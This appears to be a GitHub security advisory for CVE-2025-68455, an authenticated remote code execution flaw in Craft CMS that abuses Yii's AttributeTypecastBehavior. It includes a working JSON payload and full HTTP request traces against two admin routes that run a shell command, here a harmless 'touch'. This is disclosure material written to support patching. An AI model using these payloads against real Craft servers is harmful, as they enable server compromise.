CVE-2025-68455: Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior

Note that attackers must have administrator access to the Craft Control Panel for this to work.

Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.

Resources:

https://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef

https://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7

https://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593

https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04

Summary

This was reported as a vulnerability in Yii framework on August 7th (https://github.com/yiisoft/yii2/security/advisories/GHSA-gcmh-9pjj-7fp4). The Yii framework team denies responsibility for this (placing the onus on application developers) and hence has not (and seemingly will not) provide a fix at the framework level. Hence, I am reporting this to Craft as I found it to affect the latest (5.6.0) version of Craft CMS.

Leveraging a legitimate but maliciously crafted Yii Behavior class, it’s possible to trigger Remote Code Execution (RCE) via Reflection when the tainted Behavior is attached to a Yii Component, and an event is also fired on the tainted Component.

Details This vulnerability is inspired by CVE-2024-4990 but differs because a legitimate Yii Behavior class is used to abuse the magic set() and get() methods to trigger an arbitrary PHP callable, ultimately leading to RCE. As such, this bypasses the mitigations implemented for CVE-2024-4990 and the related CVE-2024-58136.

Using the as <behavior> syntax in JSON POST input, it’s possible to attach Behavior classes to Yii Components, which was the crux of the vulnerability identified in CVE-2024-4990. Fixes for that vulnerability and the related CVE-2024-58136 ensured that only classes of type Behavior could be attached to a Component. Craft CMS also implemented additional logic to prevent arbitrary Behavior classes from being attached to the vulnerable Component.

A new vulnerability has been identified that bypasses the fixes for the previous vulnerabilities by using a legitimate but specially crafted Behavior class, namely the yii\behaviors\AttributeTypecastBehavior. Attaching a Behavior of this type allows the attacker to define an arbitrary callable that is triggered if any event is fired on the tainted Component.

Using a wildcard event listener (specified as on in JSON input) allows the attacker to catch any event called on the tainted Component and redirect the flow of control to call self::beforeSave of the AttributeTypecastBehavior, triggering the attacker-defined callable and resulting in RCE.

See the commented payload below:

json { "as xxx": { "class": "yii\\behaviors\\AttributeTypecastBehavior", "construct()": [ { "attributeTypes": { "typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"] // Attacker defined callable }, "typecastBeforeSave": "touch /tmp/touch" // Argument for the callable } ] }, "on ": "self::beforeSave" // When any event is fired on the Component, call beforeSave() of the AttributeTypecastBehavior to trigger the attacker-defined callable with the argument above }

This was found to affect two separate controllers/routes in Craft CMS admin functionality, though others may be affected: /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview

PoC Install Craft CMS via Composer: $ composer create-project "craftcms/craft" app Use the built-in server to launch Craft CMS: $ ./craft serve 127.0.0.1:9090 The following HTTP traces show the payload used to trigger the vulnerability on each of the vulnerable routes:

/index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings

POST /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings&v=1763562868146 HTTP/1.1 Host: 127.0.0.1:9090 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x8664; rv:145.0) Gecko/20100101 Firefox/145.0 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://127.0.0.1:9090/admin/settings/categories/new Content-Type: application/json X-Requested-With: XMLHttpRequest X-Registered-Asset-Bundles: 815d39ea,22e517a2,aee7f8dc,26c46c25,e505ffd6,6b4d7555,bb2f10a0,e5e48399,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256,eccadbb X-Registered-Js-Files: X-CSRF-Token: NElpp0FZTEyq2Yi4lyNbtvf5Qbtd3QIi8AUd4cJQjVKBFZrT8xSXNSuQHr269qyDYJm1hnoc98dlKRN1zAqj5r8hETtg8v1-rwd8YI-lJZxzpoluu6hCs2P6CRNu8yltOgF6vPsxT09sIund8NSBu4aocboYd0msvEcOWcT7sDsEWppVKyGSdPFMowzbbMBtBEwWz8F1AkjfAPB9NiL5HBs15C3LosCpHoXqEtehagyTfeff6QtVn8V1egfIjYz5jhAq6Btkklw6ZQESZGz3F19sRKQwFxpgbzTZFULvHRKRDzP4XjYzHOKm5iR163amWgYw22pGIpA5f33LBIsoNqFxjJbbEo4R05ZSVldMl7jZSSQqMMbkObaaWuhwK5q1m0B Content-Length: 1787 Origin: http://127.0.0.1:9090 Connection: keep-alive Cookie: CraftSessionId=b8veo0jao7aso9f9sas5irahcc; CRAFTCSRFTOKEN=f0a58b5c53676765154b56f4434bf49b7adac3eee76250658acfbb63999e3103a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFTCSRFTOKEN%22%3Bi%3A1%3Bs%3A147%3A%22ovlsHz0Ok-P3sS7agNo0yx5XNCdjbpehdCFMkb%7C0b5b94bb740394a585337f1d087e4eeb1904ba802d27bf2d6a97fe35d30bda3bovlsHz0Ok-P3sS7agNo0yx5XNCdjbpehdCFMkb%7C1%22%3B%7D; c3ace995f4d19645dc65b957cf54e92eidentity=2c5abb45e65baee8d4fef5a873df2367ab1c42598a8937138bcba58593033d68a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92eidentity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%22CdWbsSlpUey1DCRudhcodxy0tXLc2oIHlOAeYLTAqOmF0rBIv2zaXQp4eg4AUBRc0qQr5G5wElj01yRXhojzuRZnPIW-GJqGoU%5C%22%2Cnull%2C%5C%22961fe1815772f9207245de1a33ecd079%5C%22%5D%22%2C1209600%5D%22%3B%7D; c3ace995f4d19645dc65b957cf54e92eusername=28fa03238cbef8d3f349cde0ed37d8c62118163d18695ccdb5feec2a05906303a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92eusername%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar=expanded; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar-details=expanded Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0

{"uid":"c295eb34-dd4c-42ac-8d07-1b8c872a126d","layoutConfig":{"uid":"08ef66f3-f69e-495b-882f-56834efab200","tabs":[{"name":"Content","uid":"6f1efe1c-2de5-4783-ab39-7ff9149a9c90","userCondition":null,"elementCondition":null,"elements":[{"type":"craft\\fieldlayoutelements\\TitleField","inputType":null,"autocomplete":false,"class":null,"size":null,"name":null,"autocorrect":true,"autocapitalize":true,"disabled":false,"readonly":false,"title":null,"placeholder":null,"step":null,"min":null,"max":null,"requirable":false,"id":null,"containerAttributes":[],"inputContainerAttributes":[],"labelAttributes":[],"orientation":null,"label":null,"instructions":null,"tip":null,"warning":null,"providesThumbs":false,"includeInCards":false,"width":100,"dateAdded":"2025-11-19T06:33:18-08:00","uid":"bae4dcd7-635b-41fe-96a3-4d3d69e91969","userCondition":null,"elementCondition":null},{"type":"craft\\fieldlayoutelements\\CustomField","handle":null,"label":null,"instructions":null,"tip":null,"warning":null,"required":false,"providesThumbs":false,"includeInCards":false,"width":100,"dateAdded":null,"uid":"c295eb34-dd4c-42ac-8d07-1b8c872a126d","userCondition":null,"elementCondition":null,"fieldUid":"12ac060b-8c40-48a6-b70f-94361245b149","editCondition":null}]}],"generatedFields":[],"cardView":[],"cardThumbAlignment":"end","type":"craft\\elements\\Category"},"elementType":"craft\\elements\\Category","config":{ "as xxx": { "class": "yii\\behaviors\\AttributeTypecastBehavior", "construct()": [ { "attributeTypes": { "typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"] }, "typecastBeforeSave": "touch /tmp/touch111" } ] }, "on ": "self::beforeSave" },"settingsNamespace":null,"settings":null}

/index.php?p=admin%2Factions%2Ffields%2Frender-card-preview

POST /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview&v=1763562868148 HTTP/1.1 Host: 127.0.0.1:9090 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x8664; rv:145.0) Gecko/20100101 Firefox/145.0 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://127.0.0.1:9090/admin/settings/categories/new Content-Type: application/json X-Requested-With: XMLHttpRequest X-Registered-Asset-Bundles: 815d39ea,22e517a2,aee7f8dc,26c46c25,e505ffd6,6b4d7555,bb2f10a0,e5e48399,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256,eccadbb X-Registered-Js-Files: X-CSRF-Token: NElpp0FZTEyq2Yi4lyNbtvf5Qbtd3QIi8AUd4cJQjVKBFZrT8xSXNSuQHr269qyDYJm1hnoc98dlKRN1zAqj5r8hETtg8v1-rwd8YI-lJZxzpoluu6hCs2P6CRNu8yltOgF6vPsxT09sIund8NSBu4aocboYd0msvEcOWcT7sDsEWppVKyGSdPFMowzbbMBtBEwWz8F1AkjfAPB9NiL5HBs15C3LosCpHoXqEtehagyTfeff6QtVn8V1egfIjYz5jhAq6Btkklw6ZQESZGz3F19sRKQwFxpgbzTZFULvHRKRDzP4XjYzHOKm5iR163amWgYw22pGIpA5f33LBIsoNqFxjJbbEo4R05ZSVldMl7jZSSQqMMbkObaaWuhwK5q1m0B Content-Length: 424 Origin: http://127.0.0.1:9090 Connection: keep-alive Cookie: CraftSessionId=b8veo0jao7aso9f9sas5irahcc; CRAFTCSRFTOKEN=f0a58b5c53676765154b56f4434bf49b7adac3eee76250658acfbb63999e3103a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFTCSRFTOKEN%22%3Bi%3A1%3Bs%3A147%3A%22ovlsHz0Ok-P3sS7agNo0yx5XNCdjbpehdCFMkb%7C0b5b94bb740394a585337f1d087e4eeb1904ba802d27bf2d6a97fe35d30bda3bovlsHz0Ok-P3sS7agNo0yx5XNCdjbpehdCFMkb%7C1%22%3B%7D; c3ace995f4d19645dc65b957cf54e92eidentity=2c5abb45e65baee8d4fef5a873df2367ab1c42598a8937138bcba58593033d68a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92eidentity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%22CdWbsSlpUey1DCRudhcodxy0tXLc2oIHlOAeYLTAqOmF0rBIv2zaXQp4eg4AUBRc0qQr5G5wElj01yRXhojzuRZnPIW-GJqGoU%5C%22%2Cnull%2C%5C%22961fe1815772f9207245de1a33ecd079%5C%22%5D%22%2C1209600%5D%22%3B%7D; c3ace995f4d19645dc65b957cf54e92eusername=28fa03238cbef8d3f349cde0ed37d8c62118163d18695ccdb5feec2a05906303a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92eusername%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar=expanded; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar-details=expanded Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0

{"fieldLayoutConfig":{ "as xxx": { "class": "yii\\behaviors\\AttributeTypecastBehavior", "construct()": [ { "attributeTypes": { "typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"] }, "typecastBeforeSave": "touch /tmp/touch222" } ] }, "on ": "self::beforeSave" },"cardElements":[],"showThumb":null,"thumbAlignment":"end"} Check the filesystem to confirm the creation of the two files in /tmp and hence confirm RCE: $ ls -la /tmp/ ... -rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch111 -rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch222

Impact

An attacker with access to Craft CMS admin functionality, specifically the routes listed above, can trigger RCE on the backend server and potentially gain control of the server.

— GitHub